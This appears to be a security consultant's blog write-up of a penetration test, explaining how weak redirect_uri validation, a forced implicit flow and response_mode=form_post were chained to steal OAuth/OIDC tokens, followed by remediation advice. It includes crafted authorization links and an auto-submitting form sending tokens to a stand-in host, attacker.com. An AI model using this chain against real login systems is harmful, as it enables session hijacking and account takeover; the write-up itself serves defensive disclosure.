This post, written by Brian, Security Consultant at Secora Consulting, describes how a weakness in an OAuth/OpenID Connect login flow let him turn a redirect issue into session hijacking, based on his own firsthand experiences.
During a web application penetration test , I found what initially looked like a standalone redirect validation issue in an OAuth/OpenID Connect (OIDC) login flow. Digging further into the authorisation flow revealed that this validation weakness was only the starting point of a larger problem. By manipulating the authorisation request, I was able to subvert the login flow and cause a victim’s token-bearing response to be sent to a server I controlled.
Using the captured token, I obtained access to the victim’s authenticated session for the remainder of its lifetime. Because every change was made in the query string of a single GET request, exploitation only required the victim to follow a crafted login link. For an affected application that handles highly sensitive data, even a time-limited session compromise could still have serious consequences.
All requests and responses have been formatted for readability, using dummy values in CAPS where appropriate.
Initial observation: Weak redirect validation
During testing of the application’s OIDC login flow, I observed that authentication was initiated with a GET request to the Authorisation Server.
The requested URL looked similar to the following, formatted for readability:
https://trusted-authorisation-server.com/authorize?
response_type=code
&client_id=ID
&redirect_uri=https://client-app.com/callback
&scope=openid+profile+email
&state=STATE
&nonce=NONCE
&code_challenge=CHALLENGE
As an unauthenticated user, visiting this URL would land you on the application’s login page. Once login and MFA were completed, the browser was redirected to the URI supplied in the redirect_uri parameter above, which is normally the client application’s callback endpoint. So far, this was normal OAuth/OIDC behaviour for a standard ‘authorisation code’ login flow.
In that login flow, after a user authenticated, the Authorisation Server responded with an “authorisation code”. This code could then be exchanged for tokens on the back-end. This helps to prevent an attacker from capturing the tokens directly from the user’s browser during login. This is generally considered the secure approach for modern applications, and the application appeared to be following this approach.
After authenticating and completing MFA, the user’s browser followed the redirect to the client application, as expected:
GET /callback?code=AUTHORISATION_CODE&state=STATE HTTP/1.1
Host: client-app.com
[...]
The first weakness became apparent when I tested how strictly the redirect_uri parameter was validated. It should have been matched against an allow-list of pre-registered callback URIs. Instead, the Authorisation Server accepted arbitrary values. I made the following change to the request.
Original: redirect_uri=https://client-app.com/callback
Modified: redirect_uri=https://attacker.com/callback
For example, my attacker-controlled URL was accepted by the Authorisation Server, when it should have been rejected:
/authorize?
response_type=code
&client_id=ID
&redirect_uri=https://attacker.com/callback
[...]
After a successful login, using my attacker-controlled URL for the redirect_uri above, the Authorisation Server returned a response to the browser, similar to the following:
[...]
Location: https://attacker.com/callback?code=AUTHORISATION_CODE&state=STATE
The victim’s browser then followed the redirect, delivering the victim’s authorisation code to the attacker’s domain:
GET /callback?code=AUTHORISATION_CODE&state=STATE HTTP/1.1
Host: attacker.com
[...]
This was clearly an issue, but by itself did not yet present a direct route to account compromise. If a victim were to use the modified request to authenticate, an attacker could capture their authorisation code, as shown above. However, despite repeated attempts to use the captured code to access the victims account, that was not enough. In this case, it appeared that without a corresponding code verifier value held by the legitimate client/application session, the code could not be used to achieve session compromise.
At this stage, the issue still looked limited. I could force a post-authentication redirect and capture an authorisation code, but could not immediately use this to access the victim’s account. That led to the next question: if the /authorize endpoint accepted arbitrary redirect_uri values, what else might it accept?
I was already aware of some common OAuth/OIDC misconfigurations, and the most logical next step was to test whether I could force an “implicit flow”. Instead of returning a code for the client to exchange later for a token, in an implicit flow, the Authorisation Server returns tokens directly to the user’s browser. If I could force a victim into that flow, I might be able to turn the redirect validation issue into one that delivered something immediately useful, such as a token-bearing response.
What else would the authorisation endpoint accept?
At this point, it was time to dig into the OIDC documentation. I knew roughly what I was looking for, but needed to confirm the details. According to the documentation, that meant changing the value of the response_type parameter from ‘code’ to ‘id_token token’. If this was accepted by the Authorisation server, I would be one step closer to capturing the victim’s authentication token.
The authorisation link had now been modified in the following ways:
Original: redirect_uri=https://client-app.com/callback &response_type=code
Modified: redirect_uri=https://attacker.com/callback &response_type=id_token+token
When a victim followed the link, they made the following request:
GET /authorize?redirect_uri=https://attacker.com/callback&response_type=id_
token+token&client_id=ID&scope=openid+profile+email&state=STATE&nonce=NONCE HTTP/1.1
Host: trusted-authorisation-server.com
[...]
As expected, the browser landed on the application’s login page. After a successful login, the Authorisation Server honoured the implicit flow, returning the following to the victim’s browser - a redirect to the attacker’s server with the victim’s tokens included.
[...]
Location: https://attacker.com/callback#access_token=ACCESS_TOKEN&id_
token=ID_TOKEN&token_type=Bearer&expires_in=600[...]
At first, this looked promising. The Authorisation Server was now returning tokens instead of an authorisation code. The browser then redirected to the attacker-controlled domain, where I checked the logs in hopes of finding the captured tokens. But here, I hit a stumbling block.
What I received was the following:
GET /callback HTTP/1.1
Host: attacker.com
[...]
A GET request with no tokens, and no additional data.
At that point, I began to question whether there was anything to be gained by pursuing this further. But two separate weaknesses had now been identified in the OIDC implementation: the weak redirect validation, and the ability to force an implicit flow that exposed the tokens - so I wanted to understand why I was not receiving the tokens to my attacker endpoint.
Inspecting the Authorisation Server’s redirect response more closely, it became clear. The tokens were being returned in the URI fragment, the part of the URI starting with #:
[...] *NOTE THE TOKENS WERE INCLUDED INSIDE THE FRAGMENT*
Location: https://attacker.com/callback#access_token=ACCESS_TOKEN&id_token=ID_TOKEN[...]
This mattered because fragments are handled entirely by the browser, and do not get included in HTTP requests. So, if a browser requests https://example.com/page#something, the actual HTTP request will be for /page, #something will not be sent. As a result, the tokens were never sent in the redirect to my attacker domain.
The problem had now changed again. It was no longer a question of whether the server would return the tokens to the victim’s browser. It was a question of how they were being returned. As it stood, they were returned in such a way that an attacker could not capture them.
Going back to the OIDC documentation, I found the next piece of the puzzle: the /authorize endpoint also supports a response_mode parameter, which controls how the authorisation response is returned. I discovered one possible value was form_post, which would cause the tokens to be delivered to the redirect_uri in an HTTP POST request rather than in the browser fragment. The authorisation link was now modified in the following ways. Note the addition of the response_mode parameter.
redirect_uri=https://attacker.com/callback
&response_type=id_token+token
&response_mode=form_post
When an unauthenticated victim followed the newly modified link, their browser made a request similar to this:
GET /authorize?redirect_uri=https://attacker.com/callback&response_type=id_token+token
&response_mode=form_post&scope=openid+profile+email&state=STATE&nonce=NONCE&client_id=ID HTTP/1.1
Host: trusted-authorisation-server.com
[...]
After the victim used this link to log in, the Authorisation Server no longer returned the tokens in the URI fragment. Instead, it returned an HTTP form which caused the victim’s browser to auto-submit the token-bearing parameters to the attacker-controlled redirect_uri using an HTTP POST request. The form returned to the victim’s browser looked similar to this:
<form id="response-form" method="post" action="https://attacker.com/callback">
<input type="hidden" name="access_token" value="ACCESS_TOKEN">
<input type="hidden" name="id_token" value="ID_TOKEN">
<input type="hidden" name="token_type" value="Bearer">
<input type="hidden" name="expires_in" value="600">
<input type="hidden" name="scope" value="openid profile email">
<input type="hidden" name="state" value="STATE">
</form>
<script>
document.getElementById("response-form").submit();
</script>
The resulting POST request to my attacker domain looked like this:
POST /callback HTTP/1.1
Host: attacker.com
[...]
access_token=ACCESS_TOKEN&id_token=ID_TOKEN&token_type=Bearer&expires_in=600&
scope=openid+profile+email&state=STATE
At this point, the chain was complete. The Authorisation Server did not properly validate the redirect_uri, allowed an implicit flow via response_type=id_token token, and now it had accepted the addition of the response_mode=form_post, allowing the authorisation response to be returned in a way the attacker could capture. When combined, these issues had turned the redirect validation flaw into token theft.
With the token-bearing response now arriving at my attacker-controlled server, I was able to obtain time-limited access to the victim’s authenticated session using the captured token. In my testing, that window was roughly fifteen minutes and could not be refreshed, but it was still long enough to expose sensitive account data and perform authenticated actions in the account.
Why MFA did not stop this
This was not an MFA bypass. The victim had fully authenticated to the application via the attacker-crafted link, including completing MFA. The compromise occurred afterwards. Once authentication was complete, the token-bearing response from the Authorisation Server could be redirected to an attacker-controlled server, captured, and reused for account access.
Remediation
The following remediations were recommended to the client, and were promptly implemented:
- Validate redirect_uri against an allow-list of trusted, pre-registered callback URIs. The recommended method is to use strict byte-for-byte comparison during validation, and reject any URIs that are not an exact match. This was the most important fix, because it removed an attacker’s ability to redirect authentication responses to servers they controlled.
- Reject unapproved response_type values. This removed the ability to induce an implicit flow and helped ensure the application enforced the intended authorisation code flow with PKCE.
- Accept only the intended response_mode values for the client. This neutralised the effect of supplying response_mode=form_post.
- Ensure the implementation is aligned with current OAuth and OIDC security guidelines.
With those mitigations in place, the issue was resolved.
Closing Thoughts
I found this issue interesting because of the way each smaller observation led me to finding the next piece, which ultimately combined together to form a much more serious issue.
Weak redirect_uri validation was already a concerning issue. Combined with acceptance of an implicit flow and response_mode=form_post, it became a direct path to token theft and session hijacking.